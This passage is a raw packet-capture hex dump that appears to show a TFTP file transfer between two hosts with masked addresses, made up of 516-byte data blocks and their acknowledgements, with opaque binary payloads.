0x00c0 8201 563e 046c 1025 66fa 8ff1 ffd7 2501 ..V>.l.%f.....%.
0x00d0 c048 83c8 fe40 7408 814b 1064 7bdb 8d99 .H...@t..K.d{...
0x00e0 81ee 0703 b231 03e3 6b23 d82e c14c 04f6 .....1..k#...L..
0x00f0 c3d8 dbff 5a4a 4e66 8b34 557c 5369 c1e6 ....ZJNf.4U|Si..
0x0100 1059 badb 0172 2004 2ceb 0232 01c8 8ec2 .Y...r..,..2....
0x0110 c281 ba61 03ad e3d0 0a4f 83ec 0c97 cf88 ...a.....O......
0x0120 6aaf aedf 7d74 2420 575b 33ff 33db 85f6 j...}t$.W[3.3...
0x0130 1714 721d eedb c289 5c58 8919 180f 8e27 ..r.....\X.....'
0x0140 0eb6 28ae 9536 0d82 0900 fc92 bc10 eead ..(..6..........
0x0150 afff 2003 d880 fbc5 0f84 f67f cb7b 0880 .............{..
0x0160 f90d f79f ee9f e8c3 c1e8 103c 0cdb d3c1 ...........<....
0x0170 ea18 80fa 0d46 b637 4ccd 3afb 9999 0ac2 .....F.7L.:.....
0x0180 f908 9bef 79b7 3d09 ad6a 04ff 58c7 0f85 ....y.=..j..X...
0x0190 4fa0 f675 1400 d513 3658 5b5f 7448 85c2 O..u....6X[_tH..
0x01a0 0750 5306 eee8 bee5 8841 898f 2ca0 0fc2 .PS......A..,...
0x01b0 2450 6a67 6bdc ded4 6840 2c16 eb0d b40e $Pjgk...h@,.....
0x01c0 5102 0506 c620 2b1d 0e09 6e47 d3b5 5733 Q.....+...nG..W3
0x01d0 1419 cd10 2cd8 71f3 70c2 7c0f eed5 0300 ....,.q.p.|.....
0x01e0 813d a42f 6b6d cc7a 1a10 3217 0f7d f0fc .=./km.z..2..}..
0x01f0 e186 0d35 188b 2343 3bde 2a0f 8cd9 fed4 ...5..#C;.*.....
0x0200 f478 2ffc 6860 ea3f 786d c36a 46e0 815f .x/.h`.?xm.jF.._
0x0210 0802 4104 569d 4e9f 41b4 984c 6118 9ce5 ..A.V.N.A..La...
07:03:56.791591 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c536 0000 8011 5b27 800a 097f E....6....['....
0x0010 800a 10dc 0f72 0646 000c cfa6 0004 0004 .....r.F........
0x0020 7002 4000 9801 0000 0204 05b4 0101 p.@...........
07:03:56.791602 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c536 0000 8011 5b27 800a 097f E....6....['....
0x0010 800a 10dc 0f72 0646 000c cfa6 0004 0004 .....r.F........
0x0020 7002 4000 9801 0000 0204 05b4 0101 p.@...........
07:03:56.795839 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b06 0000 7f11 0458 800a 10dc E..........X....
0x0010 800a 097f 0646 0f72 020c 7007 0003 0005 .....F.r..p.....
0x0020 a439 3b60 1338 5154 9f8e cd74 3508 bb52 .9;`.8QT...t5..R
0x0030 c5b4 3061 c3cb f874 0424 0861 d413 dcef ..0a...t.$.a....
0x0040 f952 b240 5e5d 087f 0cb3 1962 2d9d 244d .R.@^].....b-.$M
0x0050 a8ec 8d8d bd72 7b84 7615 9b7a e799 b0d9 .....r{.v..z....
0x0060 307a 7c70 816c 439e 6478 761c eb66 47a4 0z|p.lC.dxv..fG.
0x0070 507b 065c 027c 90f6 0786 87a6 0408 8250 P{.\.|.........P
0x0080 902f 838f d7fa 0cf7 d81b 1632 8f54 fadd ./.........2.T..
0x0090 8bc1 6411 b090 8114 ec38 d6ba 5135 607d ..d......8..Q5`}
0x00a0 0051 509c 3c44 a669 baed 0740 0348 4458 .QP.<D.i...@.HDX
0x00b0 4fd3 6d9a 5450 4c66 086c 706e 7736 381d O.m.TPLf.lpnw68.
0x00c0 ce68 94e4 559b 9085 5f5f 7623 c19f 54c8 .h..U...__v#..T.
0x00d0 2474 34be 96a8 cb0c 1b61 098d 1d5a 4b29 $t4......a...ZK)
0x00e0 01fd eb14 8cdb f3dd 6230 101b 014b a0f0 ........b0...K..
0x00f0 07a4 fc1d 1d3c c80c 03d9 c1e8 0a81 feb5 .....<..........
0x0100 0177 d7f9 bf75 1866 83f9 090f 8556 01b4 .w...u.f.....V..
0x0110 854c 01d9 b234 cded eb77 1fa8 031b 0436 .L...4...w.....6
0x0120 b6df 5921 3666 b8a6 eb54 22b6 e79b 6c40 ..Y!6f...T"...l@
0x0130 1342 0922 029f 9b64 9631 a478 710b 853c .B."...d.1.xq..<
0x0140 e4d2 99ea 3212 e000 d600 e656 f8d4 0382 ....2......V....
0x0150 0da8 ac05 15ac 66e2 6d86 8985 0fb0 09b9 ......f.m.......
0x0160 13f3 93ed c9b4 1066 14b8 148a 15ba b46f .......f.......o
0x0170 bb05 0366 1718 8810 1a75 0f8b fc2d 15c6 ...f.....u...-..
0x0180 2861 2608 8656 8b1d 85f2 2d37 140e 449b (a&..V....-7..D.
0x0190 7a06 76b4 0834 0872 e581 c800 8ec6 8667 z.v..4.r.......g
0x01a0 2bc1 1c51 6057 3c8d 7593 5231 2830 fce1 +..Q`W<.u.R1(0..
0x01b0 1014 2e0d db09 5f30 b27e 0582 6dae 230b ......_0.~..m.#.
0x01c0 beb0 7426 c50c accc f64d 7aa1 eb50 510a ..t&.....Mz..PQ.
0x01d0 e8cd 2058 c066 1c54 cc9a 3bb0 6a3a ae76 ...X.f.T..;.j:.v
0x01e0 9729 8e90 8b25 bcab 0512 9cb0 08cf 07d7 .)...%..........
0x01f0 204e 5f74 4ae0 c184 c01f 28b7 2264 b676 .N_tJ.....(."d.v
0x0200 7d34 ba50 3bc7 5991 1674 4c0f 7666 5d0b }4.P;.Y..tL.vf].
0x0210 98ed 6318 028d 1c10 3cb9 6476 6136 302d ..c.....<.dva60-
07:03:56.796794 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c537 0000 8011 5b26 800a 097f E....7....[&....
0x0010 800a 10dc 0f72 0646 000c cfa5 0004 0005 .....r.F........
0x0020 7002 4000 e3a4 0000 0204 05b4 0101 p.@...........
07:03:56.796805 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c537 0000 8011 5b26 800a 097f E....7....[&....
0x0010 800a 10dc 0f72 0646 000c cfa5 0004 0005 .....r.F........
0x0020 7002 4000 e3a4 0000 0204 05b4 0101 p.@...........
07:03:56.801086 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b08 0000 7f11 0456 800a 10dc E..........V....
0x0010 800a 097f 0646 0f72 020c cb83 0003 0006 .....F.r........
0x0020 7481 2d78 e1f6 03ef 0781 c29a 02cd 6603 t.-x..........f.
0x0030 d6b5 8ac6 540d 5cc0 7415 6834 1d74 2314 ....T.\.t.h4.t#.
0x0040 741f 85ee b61e a7d3 d818 6a10 88b0 2663 t.........j...&c
0x0050 862d 4358 9a75 8e26 466c cf36 0bdf e87c .-CX.u.&Fl.6...|
0x0060 c207 750e 677c d258 43c2 5baf 57b2 70c2 ..u.g|.XC.[.W.p.
0x0070 75cf 80f8 9da7 7e12 6f64 c7d2 9928 57fd u.....~.od...(W.
0x0080 1c10 84c1 e00e bce6 f083 fe83 a2fa a89f ................
0x0090 c404 220c 5e11 126a 0aee 4e48 0270 3520 ..".^..j..NH.p5.
0x00a0 9e14 8930 d10d f206 4550 6880 1cd3 1832 ...0....EPh....2
0x00b0 0ed8 c026 546f 6775 a803 cd80 e90d 700c ...&Togu......p.
0x00c0 f70e 0036 b97b 28c2 0400 1774 0756 1ee8 ...6.{(....t.V..
0x00d0 60b8 847f 8bc1 80b5 5173 d4d3 ea1f ec8b `.......Qs......
0x00e0 d1e8 46cd 1577 f249 516c 1a78 462e e168 ..F..w.IQl.xF..h
0x00f0 4105 c389 1cc5 a970 d8c9 6c16 1089 7860 A......p..l...x`
0x0100 dbd0 6fd3 0d74 28e5 0067 bcf6 0c03 ef7f ..o..t(..g......
0x0110 56c6 0430 99a6 1650 2762 b8b3 0775 de83 V..0...P'b...u..
0x0120 c306 0f2c a46b d409 8f80 0cc2 90c1 0cef ...,.k..........
0x0130 8056 6fc3 5628 cfa8 4431 5206 696c de60 .Vo.V(..D1R.il.`
0x0140 3657 ff76 2490 5f01 6441 eb75 cd3c 65c0 6W.v$._.dA.u.<e.
0x0150 6ac2 20a1 525d 64a1 e156 ea2c 2d6c 1a4c j...R]d..V.,-l.L
0x0160 736c 0f77 c2e8 2be9 1f58 a93e ceb9 609f sl.w..+..X.>..`.
0x0170 3d1c dc61 27d6 b547 68c8 0e87 8ded 7e30 =..a'..Gh.....~0
0x0180 81fd 2c63 7728 3e18 5951 8b70 7921 2b44 ..,cw(>.YQ.py!+D
0x0190 03e8 8fe5 01ab 2d3b 59e6 0aff fe9c 03c7 ......-;Y.......
0x01a0 0404 1569 06f6 30b9 ff80 c33d 048d 11c6 ...i..0....=....
0x01b0 e025 c076 dd8d 9410 db10 8813 62ab 51f1 .%.v........b.Q.
0x01c0 0e4c 186c aaea 3d86 b9dc 180d 1162 2bd7 .L.l..=......b+.
0x01d0 986f 717e 98e0 1e30 6707 9636 6814 629e .oq~...0g..6h.b.
0x01e0 f90e 0ffd 961c 4a63 606f 5611 b162 e84f ......Jc`oV..b.O
0x01f0 e4d9 cd1c 1f97 0410 46bc 6143 a6ed bd74 ........F.aC...t
0x0200 d042 9cb4 3e06 4190 9eed 0b0c 5d0c ec1b .B..>.A.....]...
0x0210 f2bd 878d be52 7485 d516 8b08 2463 a75b .....Rt.....$c.[
07:03:56.802083 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c538 0000 8011 5b25 800a 097f E....8....[%....
0x0010 800a 10dc 0f72 0646 000c cfa4 0004 0006 .....r.F........
0x0020 7002 4000 ee64 0000 0204 05b4 0101 p.@..d........
07:03:56.802095 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c538 0000 8011 5b25 800a 097f E....8....[%....
0x0010 800a 10dc 0f72 0646 000c cfa4 0004 0006 .....r.F........
0x0020 7002 4000 ee64 0000 0204 05b4 0101 p.@..d........
07:03:56.806306 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b0a 0000 7f11 0454 800a 10dc E..........T....
0x0010 800a 097f 0646 0f72 020c 6123 0003 0007 .....F.r..a#....
0x0020 16be 4884 a696 1c72 a3fc f43c 3b20 6389 ..H....r...<;.c.
0x0030 f075 1940 2876 c5e8 2383 8c74 66eb 17b6 .u.@(v..#..tf...
0x0040 4e7d 2fac 1859 744d 4250 c21f 3c69 c22f N}/..YtMBP..<i./
0x0050 36ad 68f4 7bd5 340a 31dc bf54 3594 1796 6.h.{.4.1..T5...
0x0060 2a25 e37d 9068 1194 6069 18d2 33c8 d556 *%.}.h..`i..3..V
0x0070 60d6 0c86 797a a85d c050 d9c2 026b a643 `...yz.].P...k.C
0x0080 2bf8 f679 8afc a39d 309b 2f60 1e03 1a42 +..y....0./`...B
0x0090 df84 c00f 749b 568e eceb c9d6 506d 5874 ....t.V.....PmXt
0x00a0 6719 5135 37b4 c1dd 5b58 8b50 4f32 a04f g.Q57...[X.PO2.O
0x00b0 0fbf c00c e8f8 480a 8bc1 573b 0c92 26d0 ......H...W;..&.
0x00c0 6c6f 90f3 a48b 2e0c 5c4c fab1 18f0 c1c4 lo......\L......
0x00d0 8a8b d18b f7bf 5b8b 9c9d 4f31 cabb a974 ......[...O1...t
0x00e0 b10b 8bb5 c327 068f 5040 2798 b91b a9bf .....'..P@'.....
0x00f0 8cb9 4704 993b d8ab 3d2d 75b8 4100 7aba ..G..;..=-u.A.z.
0x0100 fa09 de15 165c c705 246f 08bd 1b3b ee09 .....\..$o...;..
0x0110 be30 5286 7a08 d8aa a113 feef eb9e 2405 .0R.z.........$.
0x0120 058e b939 a314 03c2 8908 8948 04ee c77e ...9.......H...~
0x0130 ce20 0d83 c008 198d 3c08 b930 46bf e681 ........<..0F...
0x0140 6d69 a43e c000 315e 1050 0edb 062b 2910 mi.>..1^.P...+).
0x0150 2466 260d b22d f946 c621 d84b 5536 3863 $f&..-.F.!.KU68c
0x0160 6d46 2535 3b54 3570 4dfc 8c52 3fc8 4e00 mF%5;T5pM..R?.N.
0x0170 3bb0 5273 9f2c 32be 3cf5 b784 79f7 3e12 ;.Rs.,2.<...y.>.
0x0180 1cb9 14ee 0805 4afd 4975 accd 5a33 12b9 ......J.Iu..Z3..
0x0190 b012 2dd3 f7e4 7bbe 7e59 c44f 88e7 2290 ..-...{.~Y.O..".
0x01a0 1c72 764b f689 0d2c 9f69 7074 965d b82e .rvK...,.ipt.]..
0x01b0 963c 66a5 a12b 387f 4fe8 765b 273a 0505 .<f..+8.O.v[':..
0x01c0 75a2 5f2b c65e 8874 e785 662d 8850 0262 u._+.^.t..f-.P.b
0x01d0 0213 8e07 5fbb 50c3 66a1 cd3b 1957 a9ef ...._.P.f..;.W..
0x01e0 bd61 b46d 35f8 4301 d96e 07f7 3904 0a1f .a.m5.C..n..9...
0x01f0 9485 0ce7 ce70 7400 198f e70e d990 4f28 .....pt.......O(
0x0200 4981 7010 4c8f bd49 be46 7482 1649 56a1 I.p.L..I.Ft..IV.
0x0210 dc6f f9b0 8157 4bb9 d885 7c54 bf1a fb36 .o...WK...|T...6
07:03:56.807222 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c539 0000 8011 5b24 800a 097f E....9....[$....
0x0010 800a 10dc 0f72 0646 000c cfa3 0004 0007 .....r.F........
0x0020 7002 4000 f984 0000 0204 05b4 0101 p.@...........
07:03:56.807234 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c539 0000 8011 5b24 800a 097f E....9....[$....
0x0010 800a 10dc 0f72 0646 000c cfa3 0004 0007 .....r.F........
0x0020 7002 4000 f984 0000 0204 05b4 0101 p.@...........
07:03:56.811077 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b0b 0000 7f11 0453 800a 10dc E..........S....
0x0010 800a 097f 0646 0f72 020c b77e 0003 0008 .....F.r...~....
0x0020 dd1d 330d e457 d266 81c1 05a3 27b7 fb76 ..3..W.f....'..v
0x0030 ef89 1505 d867 6ce8 0ba3 d00a 9adf 666c .....gl.......fl
0x0040 a1e0 15dc b9b3 4828 58e0 dd86 2bf1 2407 ......H(X...+.$.
0x0050 5369 4c10 9de6 f7fb 022c 01a3 d467 5db9 SiL......,...g].
0x0060 0f25 ec57 7c3a f3c5 ac6a 19c0 160c f45a .%.W|:...j.....Z
0x0070 8485 59d3 e8b8 156a 808d 18e1 f961 f493 ..Y....j.....a..
0x0080 3d24 6578 ecf0 6fec d97f 6af0 03d0 03c8 =$ex..o...j.....
0x0090 8923 3528 1df0 0bdb 36cf ce15 4035 0dfc .#5(....6...@5..
0x00a0 03f8 2b89 3f3e b46f 1631 2b5f 9a32 ad05 ..+.?>.o.1+_.2..
0x00b0 d88d 3d9c 0e1f b209 2013 a806 7ac1 0be6 ..=.........z...
0x00c0 0844 3e28 2cd4 9569 ff14 3428 929c 5168 .D>(,..i..4(..Qh
0x00d0 c8d2 5044 7445 8478 c805 1248 f60b 578e ..PDtE.x...H..W.
0x00e0 8821 1636 3473 dde9 8583 e007 28d8 27ab .!.64s......(.'.
0x00f0 ae07 a728 b2c6 0470 3661 75a4 4814 c3af ...(...p6au.H...
0x0100 9c2a 2e77 0833 9475 6973 7656 dbd6 0551 .*.w.3.uisvV...Q
0x0110 9b24 059c 0204 7212 b2d0 c998 08c1 9c13 .$....r.........
0x0120 9470 a7e8 b095 412c 30d4 35a1 7780 a117 .p....A,0.5.w...
0x0130 2cd3 6c74 118b 1e04 407a 5885 0c57 605e ,.lt....@zX..W`^
0x0140 af1f 950d ba2a 14a0 6342 4c2d 7b10 3019 .....*..cBL-{.0.
0x0150 68e0 6213 9bbd b00f 3268 ac10 01c3 56cf h.b.....2h....V.
0x0160 4b5f b809 1012 5068 cb0f 16fc 9d01 892c K_....Ph.......,
0x0170 bce8 85ed a99c c4cb 0c10 a377 19dd ab48 ...........w...H
0x0180 d118 f31f ce18 c508 c780 571f 8c63 811c ..........W..c..
0x0190 8d70 c2f3 2224 be58 4048 187b b753 0f19 .p.."$.X@H.{.S..
0x01a0 bef7 648b 943b 0882 f2c3 e484 9a4c 2428 ..d..;.......L$(
0x01b0 16a0 8b77 1571 360f df55 a15d fbd9 8f30 ...w.q6..U.]...0
0x01c0 d885 dbf6 0c34 409b 3cec 830d 988b 8c24 .....4@.<......$
0x01d0 302e 5155 ced6 c83d d54c 86d7 3738 4fdd 0.QU...=.L..78O.
0x01e0 bd01 3340 6800 0463 4089 7410 8c9e e8e0 ..3@h..c@.t.....
0x01f0 0024 0f1e be52 93a5 16c6 1b56 8f57 e104 .$...R.....V.W..
0x0200 12af b1e1 068b 06c5 1057 dd6c d836 89d7 .........W.l.6..
0x0210 8255 0976 28c1 183d cb53 00f6 3290 b064 .U.v(..=.S..2..d
07:03:56.817008 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53a 0000 8011 5b23 800a 097f E....:....[#....
0x0010 800a 10dc 0f72 0646 000c cfa2 0004 0008 .....r.F........
0x0020 7002 4000 13be 0000 0204 05b4 0101 p.@...........
07:03:56.817020 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53a 0000 8011 5b23 800a 097f E....:....[#....
0x0010 800a 10dc 0f72 0646 000c cfa2 0004 0008 .....r.F........
0x0020 7002 4000 13be 0000 0204 05b4 0101 p.@...........
07:03:56.821187 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b0c 0000 7f11 0452 800a 10dc E..........R....
0x0010 800a 097f 0646 0f72 020c 1626 0003 0009 .....F.r...&....
0x0020 b13d edd7 99d7 bf98 0142 7342 5f34 555d .=.......BsB_4U]
0x0030 ced6 55e3 896c 1e65 5d2d 34c1 a13d 1c41 ..U..l.e]-4..=.A
0x0040 4b3c 0845 d330 c12c ea18 4d2e 4c80 1346 K<.E.0.,..M.L..F
0x0050 028c 3819 55ec 802d 5b05 20e4 4a53 56ef ..8.U..-[...JSV.
0x0060 2294 6016 ebd5 404d 6d81 0b82 1218 0ed6 ".`...@Mm.......
0x0070 a229 0a0d 8a07 22e1 0a7e 5b6c 1842 c104 .)...."..~[l.B..
0x0080 3e19 61f8 02c3 d893 2dee 1020 5146 5318 >.a.....-...QFS.
0x0090 bbc4 cb4e 2032 837b 9e75 26ce a42b 0fd8 ...N.2.{.u&..+..
0x00a0 03ff 6a03 2b24 3642 032c 6a52 5d08 18a6 ..j.+$6B.,jR]...
0x00b0 43e6 428e 8a83 7c8a a380 d516 e280 08a2 C.B...|.........
0x00c0 176e 77c4 08b8 cdcc 00f7 641e c1ea b9fd .nw.......d.....
0x00d0 fee2 0381 fa48 7307 ba06 eb0d 0e10 271d .....Hs.......'.
0x00e0 c2c5 7b76 05ba 06f6 5bbe 6b8e d46f 1c56 ..{v....[.k..o.V
0x00f0 742d 14e4 383b c276 0ea3 1b9e 2911 0bdf t-..8;.v....)...
0x0100 14eb 0ca1 5c78 ec1f 3c2b c63b c177 077b ....\x..<+.;.w.{
0x0110 7498 8b95 108b 4b3c 7c30 2415 33c9 1794 t.....K<|0$.3...
0x0120 bdf1 1913 9a8d ebb7 0153 ee18 49d8 a021 .........S..I..!
0x0130 f48b 5a5b 784b e84c 5f8f 1c4a 2a80 ecbb ..Z[xK.L_..J*...
0x0140 709b 0e9d 4ab8 1100 301c c346 f782 08bf p...J...0..F....
0x0150 a2a5 388d 0362 ee0b 2122 0021 c07e 8518 ..8..b..!".!.~..
0x0160 b650 56c2 976f 7510 626e 3314 2c2f 2633 .PV..ou.bn3.,/&3
0x0170 0026 e3c7 dbc5 0fa9 0c5f 0e70 68a4 3c34 .&......._.ph.<4
0x0180 dbd9 997a 84fe 1009 603d 1296 6b47 ce74 ...z....`=..kG.t
0x0190 0351 0373 5f47 dbaf 1012 6b00 8d89 7503 .Q.s_G....k...u.
0x01a0 8d74 77a0 0c51 1304 2029 ce18 5825 38cb .tw..Q...)..X%8.
0x01b0 3e62 481a 916e 3085 5bef 7146 28a3 a07e >bH..n0.[.qF(..~
0x01c0 86e8 ce42 0410 24a4 4aa1 a8ec cc8f 8e63 ...B..$.J......c
0x01d0 52cd 0810 0710 05c1 75c4 98dd c21c 0bdd R.......u.......
0x01e0 90f5 4c77 0b00 b114 c7ef aafb 1bb4 7529 ..Lw..........u)
0x01f0 777f ff24 850c 8f68 4cbb 5c71 e399 d718 w..$...hL.\q....
0x0200 1c10 90ef e38c 5415 2d6a 1801 8b74 cdd1 ......T.-j...t..
0x0210 3d0c 1006 1b92 4306 1907 1805 9d3d b1e4 =.....C......=..
07:03:56.823440 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53b 0000 8011 5b22 800a 097f E....;....["....
0x0010 800a 10dc 0f72 0646 000c cfa1 0004 0009 .....r.F........
0x0020 7002 4000 7980 0000 0204 05b4 0101 p.@.y.........
07:03:56.823453 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53b 0000 8011 5b22 800a 097f E....;....["....
0x0010 800a 10dc 0f72 0646 000c cfa1 0004 0009 .....r.F........
0x0020 7002 4000 7980 0000 0204 05b4 0101 p.@.y.........
07:03:56.827592 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b0d 0000 7f11 0451 800a 10dc E..........Q....
0x0010 800a 097f 0646 0f72 020c abc1 0003 000a .....F.r........
0x0020 04e8 5b4e 514d e7e2 804d 9128 a303 daf6 ..[NQM...M.(....
0x0030 0d07 f733 9f68 8008 ca70 1048 c67e 23a3 ...3.h...p.H.~#.
0x0040 f174 345e 0261 cb36 d01d 7c6a bfb1 8a06 .t4^.a.6..|j....
0x0050 6e3d 30c2 0829 8bec 9202 0a53 fc7a 8ba8 n=0..).....S.z..
0x0060 7285 f4be 0bdf 164c 1841 8d0f 51dd 7416 r......L.A..Q.t.
0x0070 7e5f 36a8 0124 fe8d 9512 5052 0378 90bf ~_6..$....PR.x..
0x0080 1244 8938 8df0 fd79 b6d6 7e51 5089 45fc .D.8...y..~QP.E.
0x0090 3a82 19e0 85b6 1f7f c4f0 ff35 bcc7 75fc :..........5..u.
0x00a0 08e8 f052 cd66 0580 c397 e55d c30f 3acc ...R.f.....]..:.
0x00b0 641f 08d2 c46f 5b1b 09da eee5 387c 2f8d d....o[.....8|/.
0x00c0 f6ff 421c 02cd 0f1f 704e 1b18 12e2 7018 ..B.....pN....p.
0x00d0 a493 23cb 3497 413d 0908 ef6b 192c 0cc0 ..#.4.A=...k.,..
0x00e0 b435 e0a6 6b04 3b08 dfd5 e10e de73 c31c .5..k.;......s..
0x00f0 4cdf 312c ae53 8464 2b51 0129 a912 1ce2 L.1,.S.d+Q.)....
0x0100 211e 1386 a158 921e b8c3 6a5c 0868 6621 !....X....j\.hf!
0x0110 f682 a7d8 181a 3a53 ab24 3051 03c3 5611 ......:S.$0Q..V.
0x0120 27f2 ce6d df2d 9e46 1008 6607 0cf5 2e7a '..m.-.F..f....z
0x0130 66b6 8512 8ed8 436c 3d8b c33d 6084 56f4 f.....Cl=..=`.V.
0x0140 3e1f 1498 a7c3 7c2c 7775 0288 cf08 07e8 >.....|,wu......
0x0150 80c6 8bac d7bb 75a4 33c5 a5f9 1aac 83c4 ......u.3.......
0x0160 04c1 6887 0b28 cca8 0383 e993 142e 211a ..h..(........!.
0x0170 2242 d46c 1ad9 d4d7 0831 178f 7957 18ac "B.l.....1..yW..
0x0180 be36 036a 1014 54e6 7182 c3cf 161d 6836 .6.j..T.q.....h6
0x0190 4868 3454 6a25 4b60 f85d 5a41 f751 26f9 Hh4Tj%K`.]ZA.Q&.
0x01a0 4882 0428 68e8 7486 38b4 8941 24a1 644b H..(h.t.8..A$.dK
0x01b0 4c62 b047 704a 0f94 0601 dc18 0651 2cb9 Lb.GpJ.......Q,.
0x01c0 5b58 10e0 0dbd 7409 55b1 fb3a 442a 3364 [X....t.U..:D*3d
0x01d0 4612 0893 6761 2f5f ac05 2110 9a8f 5c10 F...ga/_..!...\.
0x01e0 8424 c005 3020 8c3c ec98 4efd 6a50 1d18 .$..0..<..N.jP..
0x01f0 1c13 3cc8 9122 e883 fd70 4bb2 c139 2ea4 ..<.."...pK..9..
0x0200 1b51 5516 6e20 c069 0143 d3f6 66d5 4780 .QU.n..i.C..f.G.
0x0210 248f 6864 5c40 99e1 050c e814 480a ee39 $.hd\@......H..9
07:03:56.828533 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53c 0000 8011 5b21 800a 097f E....<....[!....
0x0010 800a 10dc 0f72 0646 000c cfa0 0004 000a .....r.F........
0x0020 7002 4000 da04 0000 0204 05b4 0101 p.@...........
07:03:56.828546 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53c 0000 8011 5b21 800a 097f E....<....[!....
0x0010 800a 10dc 0f72 0646 000c cfa0 0004 000a .....r.F........
0x0020 7002 4000 da04 0000 0204 05b4 0101 p.@...........
07:03:56.832427 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b0e 0000 7f11 0450 800a 10dc E..........P....
0x0010 800a 097f 0646 0f72 020c 080f 0003 000b .....F.r........
0x0020 2359 7179 cc5b 400c 641d b63e c051 6c58 #Yqy.[@.d..>.QlX
0x0030 430d da6a 1cd2 953e 8748 5871 688f 1b09 C..j...>.HXqh...
0x0040 6617 411d 6480 26eb baad 6ed3 3194 ca03 f.A.d.&...n.1...
0x0050 10bb 9952 3880 9839 a46c 56f8 2b1f 2d1c ...R8..9.lV.+.-.
0x0060 5837 0356 842c 63c1 39e9 f01b 008b 287a X7.V.,c.9.....(z
0x0070 c584 174f 875b 2784 098f 8a1c 1707 0181 ...O.['.........
0x0080 174c 20e9 23a0 267b e586 fa44 525e e350 .L..#.&{...DR^.P
0x0090 be6e 9041 0c51 3f4c 3d68 9174 9343 abdd .n.A.Q?L=h.t.C..
0x00a0 52d9 48f6 c884 6a63 50da 587f 9dae 39bb R.H...jcP.X...9.
0x00b0 7b8d 8cca cc51 df08 17d8 ec80 d274 59ce {....Q.......tY.
0x00c0 c874 d758 d2b9 426f c452 af29 41c1 c580 .t.X..Bo.R.)A...
0x00d0 5bb1 c4c1 18a6 38af 0092 4c19 c1c6 e014 [.....8...L.....
0x00e0 50d6 5867 e305 e5a3 3585 6ab8 92dc 6829 P.Xg....5.j...h)
0x00f0 42b6 ac05 8f56 52c9 0017 4f20 3112 af34 B....VR...O.1..4
0x0100 38c5 50c1 35d0 307a 0a57 9efd 0c6b 1293 8.P.5.0z.W...k..
0x0110 78fd b9b7 30d4 37c5 e951 0a70 33db 3bfb x...0.7..Q.p3.;.
0x0120 89aa 8b1b 2adf 9020 7e3c 751c 1eb2 f4cf ....*...~<u.....
0x0130 798d 042b 5750 51ff 6874 2904 1adc ed59 y..+WPQ.ht)....Y
0x0140 1383 3264 7d1e b055 6b6e 6fe2 ff33 2bfe ..2d}..Ukno..3+.
0x0150 03de 8b7f c810 dad8 2922 8540 48bf 0766 ........)".@H..f
0x0160 730f ff25 0848 0538 5b5c 3e75 21a0 68a8 s..%.H.8[\>u!.h.
0x0170 9c00 3164 a1ed 12ef 4f81 5064 8925 07c8 ..1d....O.Pd.%..
0x0180 2053 99ef 1ee8 c289 6573 65fc c628 2759 .S......ese..('Y
0x0190 830d bc6c 6733 00a2 06c0 1424 645b 96c8 ...lg3.....$d[..
0x01a0 8f76 080d 1806 f777 64b4 a114 0c00 a3c4 .v.....wd.......
0x01b0 0d5f 5c68 61fa 20f9 833d 1440 b427 fa30 ._\ha....=.@.'.0
0x01c0 b5f4 bd48 1d4f 19e4 5950 46df 671d 2150 ...H.O..YPF.g.!P
0x01d0 28de a1b0 4045 9e76 731d b402 90ac 0c09 (...@E.vs.......
0x01e0 e050 03be 6783 cdd4 e450 50f8 0432 00db .P..g....PP..2..
0x01f0 fd0c 435c 6d4d e085 75e0 0236 b389 65d4 ..C\mM..u..6..e.
0x0200 e444 01bc 49dc 57f8 7fe8 34f0 9345 ec8b .D..I.W...4..E..
0x0210 088b 0989 4dd0 5036 306c 6de1 d859 1a8b ....M.P60lm..Y..
07:03:56.838135 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53d 0000 8011 5b20 800a 097f E....=....[.....
0x0010 800a 10dc 0f72 0646 000c cf9f 0004 000b .....r.F........
0x0020 7002 4000 19c4 0000 0204 05b4 0101 p.@...........
07:03:56.838148 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53d 0000 8011 5b20 800a 097f E....=....[.....
0x0010 800a 10dc 0f72 0646 000c cf9f 0004 000b .....r.F........
0x0020 7002 4000 19c4 0000 0204 05b4 0101 p.@...........
07:03:56.842266 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b0f 0000 7f11 044f 800a 10dc E..........O....
0x0010 800a 097f 0646 0f72 020c a792 0003 000c .....F.r........
0x0020 e02b d0a6 b9ea 7d47 15f4 4005 fc60 f235 .+....}G..@..`.5
0x0030 6476 cd04 2629 2102 29c3 35f7 dc1a 7123 dv..&)!.).5...q#
0x0040 2c41 3005 0d64 e43b f20f 9c58 4005 5054 ,A0..d.;...X@.PT
